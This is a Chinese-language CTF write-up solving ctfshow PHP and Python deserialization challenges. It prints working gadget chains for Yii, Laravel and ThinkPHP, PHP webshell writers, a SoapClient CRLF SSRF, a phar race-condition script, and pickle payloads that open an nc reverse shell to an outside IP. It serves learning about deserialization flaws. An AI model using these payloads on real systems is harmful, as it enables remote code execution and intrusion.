ctfshow反序列化 wp

好的,又开了一个新系列,加油~

后面只总结我觉得有必要总结的了,如果有什么问题可以留言问我

强烈推荐Y4tacker师傅的文章:[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_php反序列化ctf,真的挺全了

web255

payload:username=xxxxxx&password=xxxxxx

web256-257

有一个技巧,反序列化的格式可以直接用php生成,就不用手动输入了

例:

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
$a=new ctfShowUser();
echo serialize($a);
?>

传cookie的时候需要urlencode一下,其它的没啥了,逻辑很简单

web258

源代码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这道题本质上是要执行命令,也就是要调用backDoor类里面的getInfo()方法

关键就在于如何调用,我们可以看到user类里面是可以在__destruct()方法里面调用的

我们看到,在__construct()方法里面$class是一个info类对象,这显然不是我们想要的。

那我们来看一下,真的会执行__construct()方法吗?

unserialize函数,实际上以下面的流程执行:

1.根据序列化形式,进行反序列化操作,直接转换成对应类的一个临时对象。(这里是Bsides类)

注意:这里系统执行时不会认为创建了一个新对象,而是一个已有的对象,所以不会执行__construct魔术方法(该方法只有在创建了新对象的时候才会执行)

2.如果有赋值,把这个临时对象赋给另一个变量进行管理,那么该临时对象由于被接收所以不会被销毁(应该是变量指向了这个对象的地址),然后该对象由该变量管理,并且在程序正常结束之后被销毁(此时会执行__destruct魔术方法!)

注意:如果程序没有正常退出,是无法正常销毁对象和执行__destruct的

3.如果没有赋值,临时对象在产生之后被销毁(此时会执行__destruct魔术方法!)

所以,__construct()方法是不会被执行的,而$class的值是由我们传入的反序列化字符串决定的,也就是可控的!

所以说,我们可以把$class赋值成backDoor类对象,这样就可以进行调用,从而RCE~(backDoor的code属性也是可控的)

生成payload:

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class;

    public function __construct(){
        $this->class=new backDoor();
    }

    public function __destruct(){
        //$this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code='system(\'tac flag.php\');';
    public function getInfo(){
        eval($this->code);
    }
}

$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

注意private属性的反序列化格式!(看看Y4tacker师傅的博客),空字节需要手动在url编码里面加上%00

最终payload:

cookie里面:

user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system('tac%20flag.php')%3B%22%3B%7D%7D

url:http://3637f962-7005-4494-96c2-d40464ebb025.challenge.ctf.show/?username=xxxxxx&password=xxxxxx

web259

这道题加了个正则过滤,不过匹配的是O:加上整数这种结构,直接加上一个+号变成O:+4这种结构就可以绕过了

生成payload:

<?php

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class;

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        //$this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code="system('tac flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}

$a=new ctfShowUser();
$b=urlencode(str_replace("O:","O:+",serialize($a)));
echo $b;
?>

哦对了还有,这道题把private改成public属性了,要注意重新生成payload,不要照抄上一道题的payload了...

相关题目:BSides Noida CTF 2021 web题wowooo&freepoint writeup(两道反序列化)

web260

源码:

index.php

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

首先,一看127.0.0.1,第一反应就是SSRF,又看到了XFF(X-Forward-For),那就想是不是伪造XFF头变成127.0.0.1

这种思路是行不通的,因为这道题的环境使用了cloudflare代理,每经过一层代理,就会把代理服务器的地址附加到XFF头中。这道题有两层代理,相当于在XFF头中附加了两次IP地址,假设你对XFF进行伪造,经过代理之后结果就是127.0.0.1,代理IP1,代理IP2

然后,在flag.php中执行了一次array_pop,删除了倒数第一个地址代理IP2,第二次执行array_pop返回值是删除的元素,所以结果是代理IP1,也就是说,无论你怎么伪造XFF头,结果都一定不会是127.0.0.1

那么就需要另辟蹊径。我们肯定想造成SSRF,让index.php去访问flag.php,并且请求参数我们还可控。

再看index.php,发现有一个反序列化,调用了一个不存在的getFlag方法,而且还没有已知类。这种情况一般都是php内置的原生类进行反序列化。比较常用的就是SoapClient类,简单来说,这个类本身是一个http包,并且它的__call()方法可以将实例化的http包发送出去,可以通过这个类来构造SSRF。

同时,这个类允许控制user_agent和SOAPAction头,常用的是user_agent,因为这个http头位置靠前,可以控制Content-Type和Content-Length以及postdata,从而完成post包的完全控制,这种攻击叫做CLRF。

相关资料:

CRLF Injection漏洞的利用与实例分析 - phith0n (wooyun.js.org)

SoapClient反序列化SSRF - 知乎 (zhihu.com)

从一道题学习SoapClient与CRLF组合拳_Y4tacker的博客-CSDN博客

payload生成:

<?php

$url = "http://127.0.0.1/flag.php";
$data = 'token=ctfshow';
$headers = array(
    ''
);
$client=new SoapClient(null,array(
    'uri'=>'ssrf',
    //目标命名空间,随便写
    'location'=>$url,
    //目标地址
    'user_agent'=>'yink^^Content-Type: application/x-www-form-urlencoded^^X-Forwarded-For: 127.0.0.1,127.0.0.1^^Content-Length: '
    .strlen($data)."^^^^".$data
    //user_agent可以控制Content-Type和Content-Length以及postdata
));
$b=str_replace('^^',"\r\n",serialize($client));
//注意这里的\r\n是转义字符,要用双引号
echo urlencode($b);

解释:

利用CLRF漏洞,控制Content-Type为application/x-www-form-urlencoded,这样才能post键值对(插入\r\n完成CLRF攻击)

X-Forwarded-For写成127.0.0.1,通过验证

Content-Length只写我们想传的数据的长度,剩下的无用数据会被丢弃

data直接写键值对

注意行与行之间只有一个\r\n,但是http头和http body之间有两个\r\n区分

生成的payload经过url编码直接传入GET的vip参数,再访问flag.txt即可

web260

不是只有类的实例才能序列化,各种类型都可以序列化进行传输,包括字符串,比如

<?php
$ctfshow="ctfshow_i_love_36D";
echo serialize($ctfshow);
?>

的结果就是s:18:"ctfshow_i_love_36D";

所以这里直接传入?ctfshow=ctfshow_i_love_36D就可以了

web261

源码:

<?php

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

这道题主要是__serialize和__unserialize魔术方法

这是两个php7.4后才生效的特性

参见____serialize和__unserialize魔术方法详解_yink12138的博客-CSDN博客

这道题只会执行__unserialize和__destruct方法,$this->code是由username和password拼接而成,__destruct里面显然有个php弱比较,username写877.php就可以满足$this->code==0x36d了

脚本:

<?php

class ctfshowvip{
    public $username="877.php";
    public $password="<?php system('cat /flag_is_here');?>";
    public $code=0x36d;

}

$vip=new ctfshowvip();

$vip=urlencode(serialize($vip));

$url="http://07ecef24-f349-4ec6-973e-85ff007f1e16.challenge.ctf.show/?vip=".$vip;
$url2="http://07ecef24-f349-4ec6-973e-85ff007f1e16.challenge.ctf.show/877.php";

file_get_contents($url);

echo file_get_contents($url2);

?>

(写个一句话木马也可以)

web262

本意应该是想考字符串反序列化逃逸,结果没考成,cookie完全可控,直接构造一个token=admin的实例就可以了

payload:

<?php

class message{
    public $from='1';
    public $msg='2';
    public $to='3';
    public $token='admin';
}

$a=new message();

echo base64_encode(serialize($a));

?>

在message.php里面set cookie访问就可以了~

字符串反序列化逃逸相关题目还是看这篇文章:BSides Noida CTF 2021 web题wowooo&freepoint writeup(两道反序列化) - yink's studio (yinkstudio.xyz)

WEB263

emmm又是一个新的知识点(我tcl...)

首先是www.zip源码泄露,直接访问下载源码

这道题有一行关键提示代码:

ini_set('session.serialize_handler', 'php');

这是个典型特征,当不同页面设置的session.serialize_handler不同,对于同一个session会有不同的解读方式,就会造成任意类的session反序列化漏洞,具体可以参见深入浅析PHP的session反序列化漏洞问题_php实例_脚本之家 (jb51.net),这里把session.serialize_handler设置为php,那么默认的session.serialize_handler应该是php_serialize

如果对session不够了解,可以看一下我写的session原理解析php中session简单分析 - yink's studio (yinkstudio.xyz)

确定了方向,来看如何利用。

index.php

显然我们可以通过cookie中的limit控制session中的limit,写入方式是php_serialize

check.php

无论成功还是失败,都会重置session,这是我们不想看到的。所以不能访问check.php

inc.php

看到了User类,这个类的__destruct方法是关键方法,可以用来写马,username是文件名,password是内容,完全可控

同时还有

可以用来反序列化session

看到这里,其实利用链已经出来了。

用伪造的cookie访问index.php,写入session,然后访问inc.php,利用里面的session_start()反序列化session,然后执行__destruct方法写shell就行了

payload生成:

<?php
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

$a=new User('yink.php','<?php eval($_POST[1]);?>');
echo urlencode(base64_encode("|".serialize($a)));
?>

原理:在你cookie写入后,session应该是这样的形式:

a:1:{s:5:"limit";s:length:"可控的写入部分"}

然后,我们想要在inc.php读取的时候得到User类的序列化字符串:

O:4:"User":3:{s:8:"username";s:8:"yink.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";s:6:"status";N;}

那么,我们只需要在O的前面加上|,就可以把前面都视为类名。同时,反序列化会在遇到第一个}之后终止,不会继续读取后面的内容,所以不用担心后面的"}会影响反序列化。可控的部分只需要传入User类的序列化字符串再base64编码即可,注意base64中可能有+号,需要再进行一次url编码

最终payload:

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo4OiJ5aW5rLnBocCI7czo4OiJwYXNzd29yZCI7czoyNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2BIjtzOjY6InN0YXR1cyI7Tjt9

将cookie中的limit改成这个值,访问index.php,再访问inc/inc.php,最后访问写入的shell即可

WEB264

源码:

index.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);


message.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);


这道题没啥好说的哈,主要是要把session搞出来,所以必须用反序列化逃逸了,详见Y4tacker师傅的博客或者前面我自己的那两道反序列化题的wpBSides Noida CTF 2021 web题wowooo&freepoint writeup(两道反序列化) - yink's studio (yinkstudio.xyz)

payload:/index.php?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;}

再访问message.php,注意要在cookie里面加一个msg

WEB265

一开始以为是md5或者随机数的洞,然后搜了一下,这里md5(mt_rand())是用的随机种子,真·随机...

看了wp,这里是利用引用,地址传值,就能保证password的值随着token的值的改变而改变

payload生成:

<?php

class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct(){
        $this->token='a';
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$a=new ctfshowAdmin();

echo urlencode(serialize($a));

?>

WEB266

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

首先,file_get_contents会拿到post数据(注意并不能执行命令,include才可以!)

然后,这里unserialize之后被$ctfshowo接收,然后如果$cs里面有ctfshow就会抛一个Exception。非正常退出是无法执行__destruct方法的

那我们就要让$cs中没有ctfshow,又能正常反序列化。其实这里的正则给出了提示,没有大小写过滤,这不太正常...

php里面,对于类名的大小写不敏感,可以利用这个绕过正则

payload:O:7:"Ctfshow":2:{s:8:"username";s:1:"a";s:8:"password";s:1:"b";}

PHP里面函数不区分大小写,类也不区分大小写,只有变量名区分

WEB267

这道题体现出了信息搜集的重要性...首先找一下框架,看源码发现有个yii.js,那应该就是yii框架,进去看发现是2.0版本,上网搜了一下正好有个反序列化漏洞,那肯定就是这个漏洞,不过反序列化点得自己找

有个login,用admin,admin弱口令登录成功,再看About发现出现变化了,这里应该有问题

看源码,果然有问题,看到了有个提示<!--?view-source -->

PS:这里就体现出信息搜集的重要了,提前扫目录,所有的链接,源码...注意细节,耐心去看~

我们访问index.php?r=site%2Fabout&view-source,看到了这样的代码:

那个/backdoor/shell,我一开始以为是目录,后来发现这是路由,需要传到r的值里面,访问index.php?r=backdoor/shell,看到了一个新页面,让我传code参数

网上随便找了一个payload生成的脚本:

<?php

namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'passthru';//命令名称
            $this->id = 'cat /flag';//命令参数
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

注意,这里的命令执行有些限制,有些命令没回显。我看群主用的dnslog外带可以让一些命令回显出来但也不是全部,phpinfo(1)可以执行,wget外带没问题,system没回显。

可以利用shell_exec和echo写马(RCE要么直接执行要么写入木马),或者readfile加上/flag也可以,或者passthru执行命令是有回显的,当一个姿势不对要多换几个姿势~

WEB268

这道题过滤了上一道题的链子,那我们再找个链子就好啦

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /flags';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}

另一个链子:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-03 21:55:29
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-04 01:25:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');
    echo(base64_encode(serialize($exp)));
}
?>

WEB269

另一个链子

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /flagsa';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

WEB270

是用的群主的链子,三个链子都试了一下,哪个打得通用哪个

payload:code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czo3MzoiZWNobyAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTtwaHBpbmZvKCk7Pz4iID4vdmFyL3d3dy9odG1sL2Jhc2ljL3dlYi8xLnBocCI7fWk6MTtzOjM6InJ1biI7fX19

三个链子参考自:Yii反序列化漏洞分析 - Thresh| - 博客园 (cnblogs.com),师傅tql!

WEB271

这次是Laravel的链子,上网找的POC:

<?php
namespace Illuminate\Foundation\Testing{

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="cat /flag";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

参考:laravel5.7 反序列化漏洞复现_feng的博客-CSDN博客_laravel反序列化漏洞

(总有一天我要自己挖链子!)

WEB272

翻山越岭找到了一条新链子~

<?php
/**
 * Created by PhpStorm.
 * User: juju
 * Date: 2021/7/4
 * Time: 10:30
 */

namespace Illuminate\Broadcasting {

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}
namespace Illuminate\Bus {
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Queue {
    class CallQueuedClosure
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}


namespace Illuminate\Validation{


    class Validator
    {
        public $extensions = array(''=>'system');
    }}

namespace {
    $d = new Illuminate\Validation\Validator();
    //$b = new Illuminate\Queue\CallQueuedClosure('whoami');
    //$c = new Illuminate\Bus\Dispatcher($d);
    $a = new Illuminate\Broadcasting\PendingBroadcast($d,'cat /flag');
    echo urlencode(serialize($a));
}

参考:Laravel5.8.x反序列化填坑学习 - 知乎 (zhihu.com)

群主上一题的链子也能用,写马可以执行只是看不到执行页面而已,访问写入的马就可以了

WEB273

上一题的两种方法都能用,不多说了

WEB274

thinkphp框架,网上找了个poc:

<?php

namespace think;
use think\facade\Cookie;
use think\facade\Session;

class Request
{
    protected $hook = [];
    protected $config = [];
    protected $filter;
    protected $param = [];

    public function __construct(){
        $this->filter = 'system';
        $this->param = ['cat /flag'];
        $this->hook = ['visible'=>[$this,'isAjax']];
        $this->config = ['var_ajax' => ''];
    }
}

abstract class Model{
    protected $append = [];
    private $data = [];

    function __construct()
    {
        $this->append = ['Th0r' => ['a']];
        $this->data = ['Th0r' => new Request()];
    }
}

namespace think\model;
use think\Model;
use think\Request;

class Pivot extends Model
{

}

namespace think\process\pipes;
use think\model\Pivot;

class Pipes{}

class Windows extends Pipes
{
    private $files = [];

    function __construct(){
        $this->files = [new Pivot()];
    }
}

echo base64_encode(serialize(new Windows()));

参考:thinkphp 5.1.x反序列化分析 - Th0r - 博客园 (cnblogs.com)

WEB275

先上源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

找关键函数,有两个,一个是file_put_contents,一个是system。不过file_put_contents限制太多,文件名不能是php基本就废了。所以肯定是用system函数RCE

system函数自带一个rm,这个好办,分号分隔就行了;filename参数我们是可控的,要求evalfile属性为真,那我们只需要让filename中带有php就可以了

所以最终payload:?fn=php;tac flag.php

WEB276

源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

这道题多了一个admin属性,默认为false还没有赋值语句,那就执行不了system了。file_put_contents还是没办法直接写马,php被过滤了

这道题需要用phar反序列化,本质上,phar文件类似于java中的jar包,可以用phar://伪协议来访问其内部内容。例如:phar://1.phar/1.php就是访问1.phar包里面的1.php文件,注意,在访问的时候,其metadata字段会被反序列化,我们可以访问构造好的phar包来实现任意类的反序列化

源码中并没有反序列化的操作,但是有file_put_contents,可以支持以phar://伪协议打开phar文件,同时,还可以上传phar包,文件名中并没有过滤phar

所以,当允许上传phar包,并且有支持phar://伪协议打开包的函数,我们就可以借助phar实现任意类的反序列化

先构造phar包:

<?php

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=true;
    public $admin = true;

    public function __construct($f='',$fn=''){
        $this->filename='1;tac fla?.ph?';
        $this->filecontent='';
    }
}


$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new filter();
$phar->setMetadata($o); //set metadata
$phar->addFromString("test.txt", "test"); //向里面加入压缩数据
$phar->stopBuffering();

这道题需要用到条件竞争,因为生成之后就会删除掉。可以考虑在文件中加入比较长的字符串,这样copy操作会执行更多时间,更容易竞争成功

条件竞争:

import requests
import threading

url="http://0997e2a3-ea76-4476-b713-108a482b9406.challenge.ctf.show/"
f=open("phar.phar","rb")
content=f.read()
print(content)

def upload():
    r=requests.post(url=url+"?fn=1.phar",data=content)
    #print(r.text)
def read():
    r=requests.post(url=url+"?fn=phar://1.phar",data="1")
    if "ctfshow" in r.text:
        print(r.text)

while(1):
    t1=threading.Thread(target=upload())
    t2=threading.Thread(target=read())
    t1.start()
    t2.start()

不过群主限制了访问频率,条件竞争跑不了了,做法是这么个做法

WEB277

这道题进去没啥想法,那肯定看源码,发现提示<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->,访问/backdoor

上网搜了一下,发现是python的反序列化,所以我们需要传入一个序列化字符串。python中序列化和反序列化主要使用pickle.dumps和pickle.loads,关于利用,主要是利用__reduce__函数,原理参见Python反序列化安全问题 - SegmentFault 思否

os.system用不了,应该命令执行都没回显。这种要么写马要么外带要么反弹shell,这道题考虑反弹shell,可以用eval结合popen(用eval是因为popen需要用.read方法执行,直接把popen作为主函数写不出来read方法)

同时注意python中的eval跟php里面的还不一样,python中的eval只能返回单个表达式的结果,不能执行复杂代码,引入也只能用__import__来引入,写成一个表达式的形式

这道题bash弹不出来shell,用nc可以

payload:

import pickle
import os
import base64


class payload(object):
    def __reduce__(self):
        return (eval, ("__import__(\"os\").popen(\"nc ip port -e /bin/sh\").read()",))


a = payload()
b = base64.b64encode(pickle.dumps(a))
print(b)
print(pickle.loads(base64.b64decode(b)))

WEB278

os.system没了,不过不影响,重新写了个payload

import base64
import pickle
import os


class CTFshow():
    def __init__(self, show):
        self.show = show

    def sw(self):
        print(self.show)

    def __reduce__(self):
        return (eval, ("__import__('os').popen('nc 101.34.164.187 6767 -e /bin/sh').read()",))#双引号要加上,不然直接在本地执行了


cs = CTFshow("ctfshow{this_is_your_show")

ctfshow_ser = pickle.dumps(cs)

